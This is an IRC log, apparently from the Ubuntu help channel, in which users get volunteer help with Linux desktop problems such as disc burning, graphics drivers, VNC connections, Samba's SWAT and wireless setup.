[10:42] <stefg> Meta: you probably don't need it. http://ubuntuforums.org/showthread.php?t=311158&highlight=master+kernel
[10:43] <ikonia> nope - works
[10:43] <WaltzingAlong> MeTa: internally there is a clock. it is the basis for many things. not so long ago linux was switched to i think 1000 instead of 250. a high res would be much faster and could be useful for intense audio work
[10:43] <AncientRelic> I'm trying to get swat working on my new Linux box
[10:43] <WaltzingAlong> meta
[10:43] <WaltzingAlong> MeTa: it is also helpful with realtime systems
[10:43] <AncientRelic> I've already tried http://ubuntuguide.org/wiki/Ubuntu:Feisty/Servers#Samba_Web_Administration_Tool_.28SWAT.29
[10:44] <WaltzingAlong> MeTa:  some generals about kernel timers http://msdn2.microsoft.com/en-us/library/ms644900.aspx
[10:44] <stefg> WaltzingAlong, Meta : i think this is the hpet.... not the kerne- ticks
[10:44] <andruk> how do i plot a regression curve onto the graph in gnumeric?
[10:44] <andruk> !gnumeric
[10:44] <ubotu> Sorry, I don't know anything about gnumeric - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[10:44] <Kopfgeldjaeger> cu
[10:44] <stormfrog> ikonia: what did you enter into the "sudo bash /usr/share/doc/wordpress/examples/setup-mysql -n (your mysql user) localhost" string then? I replaced "(your mysql user)" wit my isql user, and isntead it created a database with the same name as my mysql user.
[10:45] <frojnd> What plugin do I have to install for firefox to play this game: http://igre.imperij-zabave.si/igre-hudsk8.php
[10:45] <stormfrog> ikonia: I didnt even give my password, and somehow it still created that database... :P
[10:45] <ikonia> stormfrog I created an emtpy db, created a db user, granted db rights to it then intered that in the setup-mysql
[10:45] <iGama> Seveas, are you there?
[10:45] <praet> andruk: http://www.gnome.org/projects/gnumeric/doc/sect-graphics-plots-overview-types.shtml
[10:45] <WaltzingAlong> ikonia: which joke?
[10:45] <Numz> Hi
[10:45] <Seveas> iGama, yes
[10:45] <ikonia> stormfrog unless you set the databse root password at mysql-server install, root is unlocked
[10:45] <iGama> do you have a minute?
[10:46] <Seveas> sure
[10:46] <stormfrog> ikonia: okay, so you didnt run the bash command at all then?
[10:46] <AncientRelic> frojnd: I'd be contacting the webmaster of the site
[10:46] <iGama> Im thinking of using falcon
[10:46] <ikonia> stormfrog no
[10:46] <livingdaylight> Can someone tell me whether output for k3b should be arts or alsa?
[10:46] <iGama> it looks interresting by the way :)
[10:46] <Seveas> iGama, join #falcon :)
[10:46] <livingdaylight> and how to enable mp3? :s
[10:46] <stormfrog> ikonia: Oki, maybe that will work for me to... Ill try that! Thanks.
[10:46] <iGama> ok :)
[10:46] <stefg> !shockwave | frojnd
[10:46] <ubotu> frojnd: Shockwave is currently only available for Windows. To run it under !Wine, see https://help.ubuntu.com/community/Shockwave
[10:47] <AncientRelic> anyone here know SWAT?
[10:47] <stefg> !samba
[10:47] <ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[10:47] <andruk> praet: thanks
[10:47] <AncientRelic> stefg: I know what Samba is, I've got it installed
[10:47] <AncientRelic> but SWAT doesn't want to run
[10:48] <Tumpster> how can i set it up to open dcc transfers in xchat?
[10:48] <Tumpster> from fire fox
[10:49] <s_v_e_n> AncientRelic: What do you browser tel you, if you open - what URL ?
[10:49] <AncientRelic> s_v_e_n, Firefox, http://localhost:901/
[10:49] <stefg> AncientRelic: don't take ubotus wording to strict... it's the links that count. i hoped that you could find some info on swat in the wiki or forums
[10:49] <AncientRelic> stefg, I know, I'm checking those too
[10:49] <s_v_e_n> AncientRelic: What do you browser tel you ?
[10:49] <matthew_> i don't think my DVD drive is being recognized....
[10:49] <superkirbyartist> Does Ubuntu support Wireless G?
[10:50] <AncientRelic> can't establish connection
[10:50] <WaltzingAlong> matthew_: what brought you to that conclusion?
[10:50] <AncientRelic> superkirbyartist, yup
[10:50] <matthew_> WaltzingAlong:  I stuck in a disc and nothing happend ;)
[10:50] <superkirbyartist> AncientRelic, it has weak signal and disconnects a lot :(
[10:50] <AncientRelic> matthew_, is it showing on the boot screen?
[10:51] <AncientRelic> superkirbyartist, how far away are you from the AP?
[10:51] <matthew_> AncientRelic: boot screen?  i'm not trying to boot to the DVD.
[10:51] <AncientRelic> no the BIOS
[10:51] <AncientRelic> you know
[10:51] <notv> i cannot get the xserver to work
[10:51] <AncientRelic> when you boot the computer it tells you what drives you have?
[10:51] <WaltzingAlong> matthew_: has another disc worked? a cd? were you going to burn to a blank one?
[10:51] <quipster> is 6.06 LTS considered more stable then 7.04 ?
[10:51] <Tumpster> i find 7.04 to be equally stable
[10:51] <stefg> notv: define 'doesn't work' ?
[10:51] <dgjones> !lts | quipster
[10:51] <ubotu> quipster: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server.
[10:52] <superkirbyartist> AncientRelic, I am on the floor below it.
[10:52] <Tumpster> i just upgraded from dapper
[10:52] <quipster> i understand that
[10:52] <notv> i tried apt-get install xorg-driver-fglrx
[10:52] <matthew_> WaltzingAlong:  Actually, I just stuck in a video DVD, and it will play using Mplayer.  But it doesn't appear in "Computer" in Places, or in Brasero.
[10:52] <quipster> i was thinking it may be considered more stable and they do more testing with the newer 7.x
[10:52] <AncientRelic> quipster, I find the updated tools and drivers in Feisty are more than worth it
[10:52] <velko> Tumpster, i'm curious how you do that and if the upgrade went smooth. i'll have to do it for a friend soon
[10:52] <Tumpster> i upgraded to fiesty from dapper and my plan is to wait for the next LTS and then stick with that one
[10:53] <notv> i tried to make sure it wasnt disabled, but i cant open anything with gedit
[10:53] <AncientRelic> Tumpster, sudo apt-get install dist-upgrade?
[10:53] <stefg> !ati | notv
[10:53] <ubotu> notv: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[10:53] <WaltzingAlong> dapper -> edgy -> feisty, supported through dist-upgrade
[10:53] <livingdaylight> a K3B question: does anyone know whether one can select different tracks of varying audio formats... like .mp3 and .ogg for example, in a compilation to burn to a single cd?
[10:53] <WaltzingAlong> matthew_: sorry do not know enough about gnome to help
[10:53] <matthew_> thanks anyways
[10:54] <usser> livingdaylight: u should be able to
[10:54] <WaltzingAlong> livingdaylight: as an audio cd or as a data cd? yes you can do both
[10:54] <Tumpster> unfortunatly that could be done but it would have to load 6.10 then 7.04, too many steps so i just whiped my machine during the fiesty install
[10:54] <Tumpster> get a fresh machine out of it
[10:54] <superkirbyartist> AncientRelic, any suggestions?
[10:54] <livingdaylight> WaltzingAlong, audio cd... so, different audio formats mixed together
[10:54] <velko> Tumpster, thank you. i wanted to know just that
[10:54] <sleon> hi
[10:54] <sleon> can i take debian kernel for ubuntu ?
[10:54] <AncientRelic> I plan to have a new HD for Gutsy when it shows, I mean with drives so cheap, why not just add another 300G?
[10:54] <Tumpster> np man
[10:54] <WaltzingAlong> Tumpster: i too have decided to just start fresh from feisty with some of the machines. luckily i had partitioned such that /home was its own partition
[10:54] <stefg> sleon: no
[10:54] <livingdaylight> usser, you think so in theory?
[10:54] <WaltzingAlong> livingdaylight: yes no problem with k3b
[10:54] <AncientRelic> superkirbyartist, tried it on the same floor as the AP?
[10:55] <sleon> stefg: why not ?
[10:55] <Tumpster> very nice, it's awesome having fesity now, i'll skip gutsy
[10:55] <usser> livingdaylight: k3d does conversion of various formats to audop cd format which is cda(cd audio)
[10:55] <n2Ob> how do I disable laptop touchpad in Ubuntu?
[10:55] <sleon> stefg: is there vanialla kernel for ubuntu ?
[10:55] <stefg> sleon: debian != ubuntu
[10:55] <livingdaylight> WaltzingAlong, great... but i'm having issues despite having added the mp3 plugin
[10:55] <notv> stefg im on this page already
[10:55] <superkirbyartist> AncientRelic, move the router on top of the computer, and it's still only three bars.
[10:55] <sleon> stefg: but ubuntu kernel sux somehow
[10:55] <stefg> sleon: http://ubuntuforums.org/showthread.php?t=311158&highlight=master+kernel
[10:55] <AncientRelic> I'm probably going to try Gutsy if for nothing else compiz-fusion built in
[10:55] <WaltzingAlong> livingdaylight: and which issues?
[10:55] <matthew_> WaltzingAlong:  Looking in fstab it appears that I only have one cdrom entry despite having 2 cdroms (one is a dvdrom).  could that be it?
[10:55] <usser> livingdaylight: to convert mp3 to cda u have to have mp3 codecs installed ogg should give u no pblem
[10:55] <livingdaylight> WaltzingAlong, its not letting me add mp3's
[10:55] <WaltzingAlong> matthew_: that certainly could be
[10:56] <notv> its not working tho
[10:56] <AncientRelic> superkirbyartist, try another NIC?
[10:56] <yassin> pff :P
[10:56] <WaltzingAlong> livingdaylight: have you stopped then started k3b since adding the mp3 support?
[10:56] <livingdaylight> usser, yes, i got mp3 codecs installed, synaptic confirms, but its not working :s
[10:56] <superkirbyartist> AncientRelic, it's D-Link wireless g cards.
[10:56] <notv> can someone help me install the fglrx driver?
[10:56] <sleon> stefg: stefg stefg  thanks man,
[10:56] <livingdaylight> WaltzingAlong, stopped then started?
[10:56] <Tumpster> my problem is this, i click links in packetnews to open in xchat and it opens xchat but sits at the server connect screen selecting the first server, NOT the link of what I selected
[10:56] <usser> livingdaylight: do u have libk3b2-mp3 installed??
[10:57] <livingdaylight> WaltzingAlong, yes, i've exited k3b and relaunched it... is that whatyou mean?
[10:57] <WaltzingAlong> livingdaylight: close k3b. open k3b
[10:57] <livingdaylight> WaltzingAlong, yes, ofcourse i did that
[10:57] <WaltzingAlong> livingdaylight:  :d ok any error when you add the mp3?
[10:57] <WaltzingAlong> livingdaylight: as per asked by usser, do you have libk3b2-mp3 installed?
[10:57] <enoj> How can I access "Network places" I have added in open/save-dialogs etc?
[10:57] <superkirbyartist> Airport Extreme runs only with Wireless B, not G.
[10:57] <livingdaylight> usser, yes, i do
[10:58] <Tumpster> anyone up for helping
[10:58] <Tumpster> ?
[10:58] <AncientRelic> superkirbyartist, Airport Extreme is G
[10:58] <AncientRelic> superkirbyartist, Airport is B
[10:58] <Gothfunc> hi.  i'm trying to use xtightvncviewer to connect to a tightvnc server on a lan, but it just hangs, no error message, can't find any error logs.  any idea why that would happen?
[10:58] <ikonia> Tumpster you have to ask a quesiton
[10:58] <superkirbyartist> Yes, Ancient, but because of Ubuntu it only runs at G.
[10:58] <superkirbyartist> Yes, Ancient, but because of Ubuntu it only runs at B.
[10:58] <livingdaylight> WaltzingAlong, yes, i got that installed and i am getting error... do i need to configure something in settings?
[10:58] <Tumpster> i just did
[10:58] <Tumpster> no one answered
[10:58] <usser> livingdaylight: any particular error message when adding mp3 tracks
[10:58] <ikonia> I misesd it
[10:58] <Gothfunc> i can ping the server fine
[10:58] <ikonia> misesd
[10:58] <ikonia> missed
[10:58] <livingdaylight> WaltzingAlong, i had a look but couldn't see anything relevant to mp3
[10:58] <AncientRelic> superkirbyartist, you're running ubuntu on a mac?
[10:58] <superkirbyartist> mp3 is a pain use ogg.
[10:58] <Tumpster> i'll ask again
[10:58] <quipster> gothfunc: switch to regular vnc without the compression involvement
[10:58] <livingdaylight> usser, i forgot what it was.. i can check again
[10:59] <superkirbyartist> AncientRelic, no, I'm using that as an example of bad Ubuntu wireless.
[10:59] <Gothfunc> quipster: why do i need to do that?
[10:59] <AncientRelic> ah
[10:59] <WaltzingAlong> livingdaylight: it may be helpful to start k3b from the vterminal so you can see any error messages. do you see any gui error messages when adding the .mp3 to an audio cd project?
[10:59] <sleon> are there alternative kernels for ubuntu ?
[10:59] <matthew_> anyone know the command that will show you the devices you have?
[10:59] <quipster> gothfunc: tightvnc has always been flaky for me in linux..
[10:59] <WaltzingAlong> sleon: sure
[10:59] <stormfrog> Okey, this is some interesting facts from a human being using linux: setting up wordpress through the package manager (apt-get): 2 hours, in the end it failed utterly. Downloading tarball and doing it manually: 25 seconds, and complete success.
[10:59] <Gothfunc> quipster: well, any idea why there are no error messages?
[10:59] <AncientRelic> matthew_, lspci
[10:59] <usser> matthew_: lspci
[10:59] <Tumpster> When I click a dcc link on a site such as packetnews it opens up xchat and copies everything fine but it opens xchat to the server connect up with the ubuntu server selected, much like as if I opened it, how can i get it to properly open the server I clicked in firefox?
[10:59] <pike_> sleon: i like to use my slackware kernel just to mix things up
[10:59] <WaltzingAlong> Gothfunc: check on the machine running the server that the server is running
[10:59] <Gothfunc> quipster: vncviewer does the exact same actually
[11:00] <Gothfunc> just hangs
[11:00] <AncientRelic> nice call, usser
[11:00] <ikonia> Tumpster remove the ubuntu server auto connect
[11:00] <usser> AncientRelic: heh
[11:00] <Gothfunc> WaltzingAlong: from the server, i can see tightvnc server running
[11:00] <superkirbyartist> !speech
[11:00] <ubotu> Sorry, I don't know anything about speech - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:00] <Pelo> Tumpster,  try asking in #xchat
[11:00] <matthew_> anyone know the command that will show you the CD rom drives you have?
[11:00] <livingdaylight> usser, unable to handle following files, due to unsupported format
[11:00] <superkirbyartist> !gnash
[11:00] <ubotu> An open source flash replacement.  It is still beta software. For current status or for more info http://www.gnu.org/software/gnash/
[11:00] <WaltzingAlong> Gothfunc: any firewall / iptables rule blocking it?
[11:00] <KlrSpz> found out the problem with eth1 showing and not eth0... it was looking up my old mac addy from /etc/iftab.... too bad dmesg didn't show this error
[11:00] <quipster> gothfunc: make sure both the server and the viewer are the same version and regular (realvnc) edition
[11:00] <Gothfunc> WaltzingAlong: i guess that should've been obvious.  i'll check
[11:01] <usser> livingdaylight: wow thats weird its as if mp3 isnt there at all
[11:01] <Pelo> superkirbyartist, do a search in synaptic for speach recognition, I'm sure there is something in there
[11:01] <notv> when i boot my laptop i get a black screen
[11:01] <livingdaylight> WaltzingAlong, did you see that?  unable to handle following files, due to an unsupported format
[11:01] <Pelo> notv, is ubuntu installed yet or is this with the live cd ?
[11:01] <WaltzingAlong> livingdaylight: yeah then how about closing k3b then reinstalling the mp3 support
[11:01] <notv> i installed the fglrx driver already and ran sudo depmod -a
[11:01] <AncientRelic> back in a bit all
[11:01] <livingdaylight> usser, that is why i went into settings... thought maybe i had to tick something... but don't see anything relevant
[11:01] <stefg> stormfrog: wordpress isn't in main but in universe, so not officially supported. the packager might have done stupid things, and you should file a bug
[11:01] <quipster> i have vncserver running on 100 or so servers and all work fine..  all are debian or centos
[11:01] <quipster> all version 4.x
[11:01] <notv> pelo ubuntu is installed, the alternate 64 version
[11:02] <KlrSpz> I'm trying out x11vnc, and man it's slow as shit
[11:02] <VeganCheesesteak> hi all.  how do i get sendmail to send non local mail via php's mail() funtion?
[11:02] <livingdaylight> WaltzingAlong, you mean completely remove it and then reinstall it?
[11:02] <Pelo> notv, boot the recovery mode and sudo dpgk-reconfigure xserver-xorg
[11:02] <usser> KlrSpz: yes it is
[11:02] <quipster> windows client is realvnc .. pretty much all use the windows vlient
[11:02] <KlrSpz> usser: any replacement to vnc for an existing session?
[11:02] <KlrSpz> all I've tried want their own fake xsession
[11:02] <Pelo> notv, driver support for ati and nvidia in amd64 is tricky, Iwouldn'T ask for too much out of it
[11:03] <WaltzingAlong> livingdaylight: well in the CLI, you could do sudo aptitude reinstall libk3b2-mp3
[11:03] <WaltzingAlong> KlrSpz: x11vnc
[11:03] <WaltzingAlong> KlrSpz: nomachine's nx or 'freenx'
[11:03] <neverblue2> thunderbird 2 available for ubuntu yet ?
[11:03] <matthew_> what's the command to reload the fstab?
[11:03] <ikonia> matthew_ you don't
[11:03] <Numz> My install is stuck on 85% at "Installed update-manager-core"
[11:03] <iGama> neverblue2, search for ubuntuzilla
[11:03] <xtknight> matthew_, sudo mount -a
[11:03] <KlrSpz> nah, it MUST be vnc, I go place to place and can't set up freenx on windows n all that quickly enough
[11:04] <enoj> How can I access "Network places" I have added in open/save-dialogs etc?
[11:04] <matthew_> xtknight: thanks
[11:04] <iGama> its a script for ubuntu, to install the latest versions of Mozilla software
[11:04] <WaltzingAlong> neverblue2: perhaps in gutsy?  but ubuntuzilla can be used to automate the install of it
[11:04] <Sonicadvance1> Hey, I've installed Ubuntu on my flash drive following this tutorial http://www.debuntu.org/how-to-install-ubuntu-linux-on-usb-bar and when I got to install things in synaptic, it starts complaining about it not having any free space, any way to rectify since I DO indeed have free space
[11:04] <Sonicadvance1> ?
[11:04] <Numz> Pressing alt-f4 shows a bunch of packets
[11:04] <xtknight> enoj, click them on left side, bottom of list ?
[11:04] <KlrSpz> lol
[11:04] <KlrSpz> what a prick
[11:04] <notv> pelo how do i boot the recovery mode, with the disk?
[11:04] <KlrSpz> I remember back in the day you used to be able to say:
[11:04] <KlrSpz> start keylogger
[11:04] <KlrSpz> and ppl's routers would booth them
[11:05] <frojnd> !shockwave
[11:05] <ubotu> Shockwave is currently only available for Windows. To run it under !Wine, see https://help.ubuntu.com/community/Shockwave
[11:05] <Pelo> notv, it's usualy the second option in the boot menu , you might have to hit esc after the bios screen if you usualy skip it
[11:05] <VeganCheesesteak> !sendmail
[11:05] <ubotu> Sorry, I don't know anything about sendmail - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:05] <Tumpster> When I click a dcc link on a site such as packetnews it opens up xchat and copies everything fine but it opens xchat to the server connect up with the ubuntu server selected, much like as if I opened it, how can i get it to properly open the server I clicked in firefox?
[11:05] <VeganCheesesteak> !postfix
[11:05] <ubotu> postfix is the default Mail Transfer Agent (MTA) for Ubuntu. Read more about setting it up here: https://help.ubuntu.com/community/Postfix or here: https://help.ubuntu.com/community/PostfixBasicSetupHowto
[11:05] <Numz> !win
[11:05] <ubotu> Sorry, I don't know anything about win - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:05] <Numz> !wine
[11:05] <ubotu> wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[11:05] <heartsblood> could someobody please recomend a very simple tool that can test if opengl is working correctly on my system?
[11:06] <dwxreaper> how come when I am in /etc/init.d/
[11:06] <dwxreaper> and I do networking start
[11:06] <Chousuke> heartsblood: glxgears? :P
[11:06] <dwxreaper> or networking stop
[11:06] <heartsblood> ty!
[11:06] <dwxreaper> it says command not found!
[11:06] <xtknight> dwxreaper, ./networking stop
[11:06] <Eren> hi all
[11:06] <Gothfunc> WaltzingAlong: i think the port is open.  how can i make sure?
[11:06] <heartsblood> FUBAR!
[11:06] <Eren> I need previous version of udev
[11:06] <xtknight> dwxreaper,  /etc/init.d is not in the path, so networking will not work
[11:06] <Pelo> dwxreaper, try not to use the enter key for punctuation
[11:06] <VeganCheesesteak>  how do i get sendmail to send non local mail via php's mail() funtion?
[11:06] <stefg> heartsblood: glxinfo | grep direct
[11:06] <Eren> but it's not in the archive server
[11:06] <xtknight> Eren, oh boy, what do you mean by that?
[11:06] <Eren> I need, 113-0ubuntu7.diff.gz
[11:06] <JeevesMoss> what command will make a mirror image and only update the files/directories that have been changed?  is it rsync or rdiff?
[11:07] <Eren> it's previous, the new is in the archive server, 113-0ubuntu8.diff.gz, just looking for a patch :)
[11:07] <Pelo> JeevesMoss, man each
[11:07] <KurtKraut> JeevesMoss: rsync
[11:07] <livingdaylight> WaltzingAlong, i did the reinstall but still doesn't work... so i quickly installed gnomebaker and that is happy to bake mp3 to disc... i never would have believed it... but gnomebaker has kicked k3b in de butt...
[11:07] <doug__> how do i fix the words in world of warcraft for wine they look real small what do i need to install to fix the words
[11:07] <livingdaylight> good bye k3b
[11:07] <heartsblood> meh "Xlib: extension "GLX" missing on display "0.0".
[11:07] <JeevesMoss> KurtKraut:  thanks.  I'm just trying to make a mirror that updates every 20 mins with JUST the files/directories that have changed
[11:07] <Gothfunc> WaltzingAlong: got it, nmap
[11:07] <Pelo> doug__, try asking in #winehq
[11:07] <heartsblood> and that's with the ubuntu nvidia driver :/
[11:08] <doug__> pelo thnks
[11:08] <WaltzingAlong> Gothfunc: nmap yeah
[11:08] <enoj> xtknight: what about dialogs for KDE apps (doesn't have the network tab) .. I'm using quanta+ for development, because i cant find a good IDE for python/php/html
[11:08] <notv> pelo it says command not found
[11:08] <Tumpster> When I click a dcc link on a site such as packetnews it opens up xchat and copies everything fine but it opens xchat to the server connect up with the ubuntu server selected, much like as if I opened it, how can i get it to properly open the server I clicked in firefox?
[11:08] <Gothfunc> WaltzingAlong: it's "filtered"
[11:08] <xtknight> enoj, ah i have no idea bout kde.  i doubt if it detects gnome 'places'.  but kompozer (upcoming? maybe already here?) might  be good for html/web design
[11:08] <Pelo> notv, sudo dpkg-reconfigure xserver-xorg   sorry if I misspelled it the first time
[11:09] <WaltzingAlong> livingdaylight: perhaps purging the mp3 support then installing; alright
[11:09] <xtknight> Eren, this yields some stuff http://www.google.com/search?q=113-0ubuntu7&hl=en&start=10&sa=N
[11:09] <xtknight> i dont know if it's any good.  but a lot of those have ubuntu7 in them
[11:09] <notv> it says xserver-org not installed pelo
[11:09] <Eren> xtknight: yes, I have checked that, it has been removed from all ubuntu mirrors...
[11:10] <Pelo> notv,  xserver-xorg , read very carefully
[11:10] <livingdaylight> WaltzingAlong, does completely remove in synaptic = purge?
[11:10] <notv> sorry
[11:10] <Pelo> notv,  noproblem
[11:10] <WaltzingAlong> livingdaylight: i would think so
[11:11] <Polygon89> Hello, nm-applet has stopped working and now i cannot get internet on my computer, if i run it from terminal it doesnt do anything, suggestions?
[11:11] <WaltzingAlong> livingdaylight: in k3b settings / configure k3b / plugins, do you see MAD plugin?
[11:12] <pike_> Polygon89: eth0?
[11:12] <livingdaylight> WaltzingAlong, i've already purged k3b too... but i don't recall seeing it in there
[11:12] <Polygon89> pike_, its a wireless connection, so im guessing ath0
[11:12] <WaltzingAlong> alright, after reinstalling it, give it a look
[11:12] <Jowi> Polygon89, kill nm-applet and restart it?
[11:12] <dwxreaper> Pelo: you there
[11:13] <Pelo> dwxreaper, yes
[11:13] <Polygon89> Jowi, its not running, i tried killing it and then running it from terminal and it just sits there and does nothing
[11:13] <pike_> Polygon89: wep?
[11:13] <heartsblood> Just so I'm clear, what is the name of the recomended nvidia driver package? apt-get install nvidia-glx-new?
[11:13] <dwxreaper> why don't you shut the fuck up, how is that
[11:13] <Polygon89> pike_, yeah web hex
[11:13] <Polygon89> pike_, wep**
[11:13] <jrib> !ohmy | dwxreaper
[11:13] <ubotu> dwxreaper: Please watch your language and keep this channel family friendly.
[11:13] <Jowi> Polygon89, explain "does nothing"
[11:13] <Parkin_131234234> LOL dwxreaper
[11:13] <Parkin_131234234> ^_^
[11:13] <Gothfunc> WaltzingAlong: nah, it just hangs.  i wish it was more verbose
[11:13] <Gothfunc> WaltzingAlong: and the manpage says nothing useful :(
[11:14] <pike_> Polygon89: typically i do a sudo ath0 up; sudo iwconfig ath0 essid somename key 123456; sudo dhclient ath0
[11:14] <Polygon89> Jowi, mark@cactus-fantastico:~$ nm-applet
[11:14] <WaltzingAlong> Gothfunc: it should eventually timeout i would think. ok how about telneting in
[11:14] <Polygon89> Jowi, then it just sits there with a blinking cursor
[11:14] <Gothfunc> i'll try
[11:14] <axz> oke guys i installed this https://help.ubuntu.com/community/AMD64/FirefoxAndPlugins?action=show&redirect=FirefoxAMD64FlashJava
[11:14] <axz> but flash wont work
[11:14] <Jowi> Polygon89, do you get an icon in the task bar?
[11:14] <Polygon89> Jowi, no.
[11:14] <dgjones> heartsblood, either nvidia-glx or nvidia-glx-new or nvidia-glx-legacy for old cards
[11:14] <z0rz> how can I give grep an or variable?  Like all lines containg Blah or Moo
[11:14] <axz> !flash
[11:14] <ubotu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash
[11:15] <jrib> z0rz: egrep 'foo|bar'   should work
[11:15] <z0rz> jrib: Thanks
[11:15] <heartsblood> nvidia-glx didn't support my card, and nvidia-glx-new isn't loading glx for some reason
[11:15] <Numz> Is there a problem if my install has been stuck on update-manager-core for 15mins?
[11:15] <Gothfunc> WaltzingAlong: err, you mean like this?  telnet: could not resolve 192.168.1.104:5900/telnet: Name or service not known
[11:16] <Pelo> Numz, I'd wait longuer
[11:16] <Jowi> Polygon89, try "nm-applet &"
[11:16] <rafaelscj> hi all
[11:16] <benanzo> anyone syncing with iphone
[11:16] <meuserj> Gothfunc: telnet 192.168.1.104 5900
[11:16] <Jowi> Polygon89, then wait a few seconds. now you should get an icon in the tray
[11:16] <WaltzingAlong> Gothfunc: telnet IP port
[11:16] <heartsblood> does nvidia still have their driver manual in a README?  all I can find is this pita html file.
[11:16] <meuserj> Gothfunc: no colon
[11:16] <Gothfunc> woops
[11:16] <rafaelscj> may anyone tell me a good ftp client?
[11:16] <WaltzingAlong> rafaelscj: filezilla
[11:17] <notv> pelo i went through the xserver setup and i came back to a black screen
[11:17] <stefg> !info gftp
[11:17] <ubotu> gftp: X/GTK+ FTP client. In component universe, is optional. Version 2.0.18-16ubuntu2 (feisty), package size 44 kB, installed size 76 kB
[11:17] <pike_> heartsblood: link2 -g that sucker
[11:17] <Pelo> !ftp | rafaelscj
[11:17] <ubotu> rafaelscj: FTP clients: !Nautilus, !gFTP (for !GNOME) - !Konqueror, !Kasablanca, !KFTPGrabber (for !KDE) - See also !FTPd
[11:17] <pike_> er links2
[11:17] <LinuxJuggalo> can someone help me with a soundcard issue? i have a Toshiba Satellite A205-S4797, i checked in ubuntu forums and did everything there but no luck
[11:17] <dgjones> heartsblood, it took me a while to get the nvidia-glx working for 3d on my laptop, seemed to be a few things in xorg that ended up manually configuring
[11:17] <Pelo> notv, what did you select for a video card ?
[11:17] <rafaelscj> WaltzingAlong, of course, I forgot, thanks, I used it's windows version
[11:17] <Gothfunc> WaltzingAlong: ok nothing... i assume that means there must be something between this machine and the server closing the port?
[11:17] <no0n> Can i rename a mounted partition without harming the data it contains?
[11:17] <WaltzingAlong> LinuxJuggalo: what is the issue with your soundcard? which soundcard do you have
[11:17] <notv> ati radeon x1200
[11:17] <notv> i picked the fglxr
[11:17] <stefg> no0n: won't work anywa
[11:17] <WaltzingAlong> Gothfunc: seems so
[11:17] <LinuxJuggalo> WaltzingAlong i have no sound at all
[11:18] <WaltzingAlong> Gothfunc: but it could be on port 5901 too
[11:18] <no0n> stefg: what do you mean anyway?
[11:18] <Polygon89> Jowi, after running that i get a [1]  7264 ... but then ive waited a min and no icon in taskbar, but according to system monitor nm-applet is running
[11:18] <LinuxJuggalo> juggalo@localhost:~$ cat /proc/asound/cards
[11:18] <LinuxJuggalo>  0 [Intel          ] : HDA-Intel - HDA Intel
[11:18] <LinuxJuggalo>                       HDA Intel at 0xf0b40000 irq 21
[11:18] <LinuxJuggalo> thats my soundcard
[11:18] <WaltzingAlong> ah the lovely hda intel codec
[11:18] <Jowi> Polygon89, sounds like gnome-panel is misbehaving. have you tried log out and log in again?
[11:18] <Pelo> notv, since fglxr is the problem I would redo the reconfigure and not select that bit,   vesa is sure to work  but you'll have to reinstall your nvidia driver probably
[11:18] <heartsblood> yea I always remember having to rename/remove items from the ON LOAD list but I can't remember what they are.  and their html "oh it's easy" readme is getting on my nerves.  keeps telling me the same thing "use nvidia-config".  :/
[11:18] <stefg> no0n: ususally you have to use tune2fs or tunereiserfs .... these don't work on mounted volumes
[11:18] <[_Snarf_] > Can anyone point me to a tutorial on how to set up a server to create a new session when you VNC in to it? Right now mine is set up to continue the session that's logged in, but I want to create a new one
[11:18] <Polygon89> Jowi, ive tried restarting, ill try logging out
[11:19] <Gothfunc> WaltzingAlong: the server config says it's using 5900
[11:19] <WaltzingAlong> [_Snarf_] : look into nomachine's nx; ... or freenx
[11:19] <notv> the ubuntu guide im looking at says vesa doesnt work either
[11:19] <Polygon89> Jowi, this has happened before but usually a restart fixes it
[11:19] <LinuxJuggalo> any fix for that WaltzingAlong?
[11:19] <WaltzingAlong> LinuxJuggalo: sure, there are
[11:19] <doug__> anyone play world of warcraft in here? with wine?
[11:19] <hjmills> [_Snarf_] , try XDMCP if you are using GDM
[11:19] <Pelo> notv, which driver did you use when your video last worked properly ?
[11:19] <WaltzingAlong> doug__: i have
[11:19] <rafaelscj> ftp client only download one file at the same time, right? (in linux)
[11:19] <WaltzingAlong> Gothfunc: maybe try connecting the client to the server from the server machine?
[11:19] <LinuxJuggalo> i did everything listed in https://help.ubuntu.com/community/HdaIntelSoundHowto but no luck :(
[11:19] <stefg> !wow | doug__
[11:19] <ubotu> doug__: Information about games on Ubuntu can be found at https://help.ubuntu.com/community/Games and http://www.icculus.org/lgfaq/gamelist.php
[11:19] <dgjones> heartsblood, i'll pastebin my xorg, maybe that'll give you a hint as whats not working
[11:19] <billy> hello folks, anyone got the java plugin working with firefox on amd64?
[11:20] <doug__> WaltzingAlong,  can u join me in room #wwed
[11:20] <stefg> bah
[11:20] <[_Snarf_] > XDMCP, you say, eh?
[11:20] <WaltzingAlong> rafaelscj: some can support multiple transfers
[11:20] <WaltzingAlong> \join #wwed
[11:20] <hjmills> [_Snarf_] , I have used it before with success on ubuntu
[11:20] <LinuxJuggalo> juggalo@localhost:~$ cat /proc/asound/card0/codec#* | grep Codec
[11:20] <LinuxJuggalo> Codec: Realtek ID 268
[11:20] <LinuxJuggalo> Codec: Generic 11c1 Si3054
[11:20] <dwxreaper> hmmm, if this machine's power is shut off remotely, it doesn't come back on the network, just boots up.  and sometimes ubuntu will only get to the gnome login, and not load
[11:20] <notv> pelo, it never worked. this is a new laptop
[11:21] <WaltzingAlong> LinuxJuggalo: searching for the bug report and workarounds now
[11:21] <dwxreaper> it sees the interfaces with ifconfig, but doesn't create the interfaces config file right, any ideas?
[11:21] <[_Snarf_] > Basically the comp I'm VNC'ing into is a desktop... this'll allow me to ssh/vnc in and start a new session while the person sitting at the actual desktop can use it as though I'm not there?
[11:21] <LinuxJuggalo> alright WaltzingAlong thanks :)
[11:21] <notv> i guess i bought the wrong laptop
[11:21] <rafaelscj> WaltzingAlong, did you use filezilla-server?
[11:21] <Pelo> !nvidia | notv  try this if you haven'T
